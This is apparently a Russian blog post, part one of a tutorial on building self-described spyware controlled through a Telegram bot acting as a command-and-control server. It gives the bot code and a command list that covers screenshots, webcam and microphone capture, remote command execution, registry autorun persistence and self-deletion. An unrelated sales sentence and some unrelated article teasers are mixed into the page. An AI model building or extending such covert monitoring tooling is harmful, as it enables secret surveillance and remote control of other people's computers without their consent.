Monitoring System (SpyWare) с C2 сервером на базе чат-бота в telegram. Часть 1: Создание бота

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.

Введение

Hello Habr! Хотел найти приложение, позволяющее отслеживать работу своих компютеров, но испугался что кто-то сможет следить за мной через их. Поэтому решил разработать его сам, изначально ПО было похоже на приложение для родительского контроля, но после добавления новых модулей получилось SpyWare, поэтому оставлю это здесь.

Дисклеймер
Дисклеймер

Чат-бот в telegram

Ну что же, чтобы наша программа могла получать и контролировать выполнение задач нам нужен С2 (Command and Control) сервер.
Первоначально я думал написать какой-нибудь интерфейс на Django или Flask для управления ПО и развернуть все это через Xampp, Open Server или еще что-нибудь (способов достаточно), чтобы можно было управлять не только через локальную сеть.
Но для этого нужно было бы постоянно оставлять включенным сервер, можно было бы просто развернуть все это на Raspberry Pi, но зачем нам эти трудности, если можно сделать все проще через telegram, который работает 24/7 и ничего не нужно поднимать. =)

На просторах интернета существуют миллионы гайдов на эту тему (один из них ссылку), поэтому не будем вдаваться в подробности, а быстренько получим уникальный ID, являющийся одновременно и токеном нашего бота от @BotFather и наш ID, чтобы бот мог писать нам при активации, его можно получить либо тут @IDBot либо тут @userinfobot.
Просто заходим и пишем /start.

Теперь создадим файл tg_config.py в корне проекта и добавим полученные ранее ID, конечно можно было добавить наши ID в переменные окружения (кто хочет, может так и сделать, вот туториал), но я решил оставить все на поверхности для простоты.

BOT_TOKEN = 'IDfrom@BotFather'
# IDfrom@IDBot
admin_id = 123456789

Настало время разработки, создаем dispatcher.py.

import logging
from aiogram import Bot, Dispatcher
from aiogram.contrib.middlewares.logging import LoggingMiddleware
from tg_config import BOT_TOKEN

logging.basicConfig(level=logging.INFO)

if not BOT_TOKEN:
    exit("No token provided")

bot = Bot(token=BOT_TOKEN, parse_mode="HTML")
dp = Dispatcher(bot)

dp.middleware.setup(LoggingMiddleware())

Здесь мы делаем проверку на наличие нашего токена, для связи с нашим ботом.
Инициализируем объекты бота и диспетчера и настраиваем логирование, для удобной отладки в процессе разработки.

Теперь handlers.py который отвечает за все наши обработчики, как понятно из названия.
Он будет обновляться каждый раз, когда мы будем добавлять новый функционал.

import os
import asyncio
import modules
from aiogram import types
from tg_config import admin_id
from tg.dispatcher import dp
from tg.utils import reply_handler

from aiogram.utils.exceptions import MessageTextIsEmpty, CantParseEntities


async def activate():
    await dp.bot.send_message(admin_id, "✔️ Ur system started!")


try:
    loop = asyncio.get_event_loop()
    loop.run_until_complete(activate())
except DeprecationWarning:
    pass


@dp.message_handler(commands="help")
async def support(message: types.Message):
    await message.answer(
        f'\nCommand List:\n'
        f'/check - Checking System Status\n'
        f'/pc_info - System characteristics\n'
        f'/con_info - Connection characteristics\n'
        f'/proc_info - List of running processes\n'
        f'/wifi_info - Information about Wi-Fi connections\n'
        f'/pub_ip_info - Information about public IP address\n'
        f'/screen - Desktop screenshot\n'
        f'/webcam_screen - Webcam screen\n'
        f'/audio n - (n - count of seconds)Record sound from voice recorder for 5 seconds by default\n'
        f'/exec c - (c - command) Execute command in cmd\n'
        f'/reg_autorun - Append programme to registry\n'
        f'/del_autorun - Delete programme from registry\n'
        f'/exit - Shutting down the program before reboot\n'
        f'/destroy - Delete the program from the computer\n'
    )

Я решил не заморачиваться и выкладываю сразу часть финального кода хэндлера, чтобы не напоминать добавить вам одну строчку, после добавления нового функционала, да и чтоб самому не забыть. =)

В начале пишем метод activate(), который будет вызываться при запуске нашего ПО и сигнализировать нам о начале сеанса.
Далее создаем цикл событий и запускаем его, он будет работать до того момента, пока не отработает наш метод activate().
Ну и добавляем наш первый хэндлер, который будет выводить список и описание доступных команд.

Ну и в конце создаем main.py, который будет запускать нашего бота.

from aiogram.utils import executor
from tg.dispatcher import dp

from tg import handlers

if __name__ == "__main__":
    executor.start_polling(dp, skip_updates=True)

Заключение

В этой части мы разработали нашего бота, который будет помогать нам контролировать и следить за результатами нашего ПО.
Также оставлю ссылку на проект и благодарю за уделенное мне время и не судите строго, я только начинаю учиться писать статьи.
На этом первая часть подходит к концу, а самое интересное еще впереди. =)

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.
Стоит ли продолжать писать ?)
100% Да 2
0% Нет 0
Проголосовали 2 пользователя. Воздержавшихся нет.
Источник: https://habr.com/ru/articles/761374/


Интересные статьи

Интересные статьи

Привет, я Дарья Двоеглазова, менеджер продукта в Quadcode. 3,5 года назад я пришла работать в IT и сразу окунулась в мир управления проектами. В статье я расскажу о том, как прошла путь от стикеров на...
В первой части статьи мы кратко ознакомились с основными понятиями при передаче данных по линиям электропередач. Узнали, что такое “полезный сигнал”, как с его помощью мо...
Недавно мы на Хабр Карьере устроили конкурс ко дню эйчара и попросили эйчаров и ИТ-рекрутеров рассказать нам о самых смешных собеседованиях, которые стали легендами в их компаниях. И...
В 2020 году сети пятого поколения, судя по всему, станут во главе угла всей сферы мобильной связи. В 2019 году поставщики электроники начали поставлять на рынок 5G модули связи и устройства,...
Первая и вторая часть этой занимательной истории по ссылке ниже: Истории IT юриста. Жизнь аутсорсинг бизнеса. Часть 1 Истории IT юриста. Жизнь аутсорсинг бизнеса. Часть 2 #Поиск решени...